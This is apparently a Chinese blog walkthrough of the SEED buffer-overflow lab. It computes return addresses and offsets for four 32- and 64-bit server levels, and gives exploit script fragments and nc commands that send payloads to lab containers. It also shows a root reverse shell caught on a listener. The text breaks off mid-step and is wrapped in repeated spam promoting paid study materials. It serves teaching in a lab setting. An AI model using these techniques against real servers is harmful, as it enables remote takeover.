SEED(2)-缓冲区溢出攻击(Buffer-Overflow Attack)_缓冲区溢出seed

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd108
server-1-10.9.0.5 | Buffer’s address inside bof(): 0xffffd098
server-1-10.9.0.5 | ==== Returned Properly ====**



$ cd /Buffer_Overflow/Files
$ vim exploit-L1.py


然后利用ebp 和 Buffer address 计算A的地址(ret)和offset:


**ret**(A) = **0xffffd108** + 8(min(A) = ebp + 8;max(A) = 517 - len(code))


**offset** = **0xffffd108** - **0xffffd098** + 4 = 116(十进制)


修改**exploit-L1.py**中ret和offset的值并保退出;然后运行:



$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090


**Container Console**



server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd428
server-1-10.9.0.5 | Buffer’s address inside bof(): 0xffffd3b8
server-1-10.9.0.5 | (_) SUCCESS SUCCESS (_)


若出现上面'**(^\_^) SUCCESS SUCCESS (^\_^)**',说明成功!


#### Get Revere Shell


修改**exploit-L1.py**文件**ret**和**A**的值:



**##################################################################

Put the shellcode at the end

content[517-len(shellcode):] = shellcode

You need to find the correct address

This should be the first instruction you want to return to

ret = 0xffffd428+40

You need to calculate the offset

offset = 116

L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder=‘little’)
##################################################################**


新建一个命令行窗口输入**$ nc -lnv 7070**开启监听


在另外一个窗口向server发送badfile文件



$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090


监听窗口输出以下内容,说明成功获取Revere Shell;



Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 51582
root@ec5152748270:/bof#


#### 4. Level 2 Attack : Buffer Size Unknown


![](https://img-blog.csdnimg.cn/img_convert/257bd0839a53d6dbb043d6a97923aaa9.png)



$ echo hello | nc 10.9.0.6 9090
^C


**Container Console**



server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer’s address inside bof(): 0xffffd368
server-2-10.9.0.6 | ==== Returned Properly ====


修改**exploit-L2.py**文件**ret**和**S**的值:


**S**:ref的个数 = buffersize/4(一个ref为4字节)


**ret**:BufferAddress + buffersize



**##################################################################

Put the shellcode at the end of the buffer

content[517-len(shellcode):] = shellcode

You need to find the correct address

This should be the first instruction you want to return to

ret = 0xffffd368+360

Spray the buffer with S number of return addresses

You need to decide the S value

S = 90
for offset in range(S):
content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder=‘little’)
##################################################################**



$ python3 exploit-L2.py
$ cat badfile | nc 10.9.0.6 9090


**Container Console**



server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer’s address inside bof(): 0xffffd368
server-2-10.9.0.6 | (_) SUCCESS SUCCESS (_)


#### 5. Level 3 Attack: 64-bit Server


原理:


* ![](https://img-blog.csdnimg.cn/img_convert/06a9bec7f67f890a69cfc80b8e1d8317.png)
* ![](https://img-blog.csdnimg.cn/img_convert/0be2384f4cb716b826dc12d9d0d5c49a.png)



$ echo hello | nc 10.9.0.7 9090
^C


**Container Console**



server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer’s address inside bof(): 0x00007fffffffe200


修改**exploit-L3.py**文件中的start,ret和offset;


**start** = 40


**offset** = ebp - buffer + 8


**ret** = [buffer,buffer + 40]范围之间任选一个



$ python3 exploit-L3.py
$ cat badfile | nc 10.9.0.7 9090


**Container Console**



server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer’s address inside bof(): 0x00007fffffffe200
server-3-10.9.0.7 | (_) SUCCESS SUCCESS (_)


#### 6. Level 4 Attack: Small Buffer(64-bit)


![](https://img-blog.csdnimg.cn/img_convert/af491bf8e72105b8cfc18c9c3f4797fd.png)



$ echo hello | nc 10.9.0.8 9090
^C


**Container Console**



server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe250
server-4-10.9.0.8 | ==== Returned Properly ====


修改**exploit-L4.py**文件


**ret = rbp + 1200**



$ python3 exploit-L4.py
$ cat badfile | nc 10.9.0.8 9090


**Container Console**



server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer’s address inside bof(): 0x00007fffffffe250
server-4-10.9.0.8 | (_) SUCCESS SUCCESS (_)


**开启防范机制**



$ sudo sysctl -w kernel.randomize_va_space=2


执行**$ nc -lnv 7070**开启监



Listening on 0.0.0.0 7070


修改exploit为reverse shell


新建一个命令行窗口:






还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)



**需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)**

内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 15
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值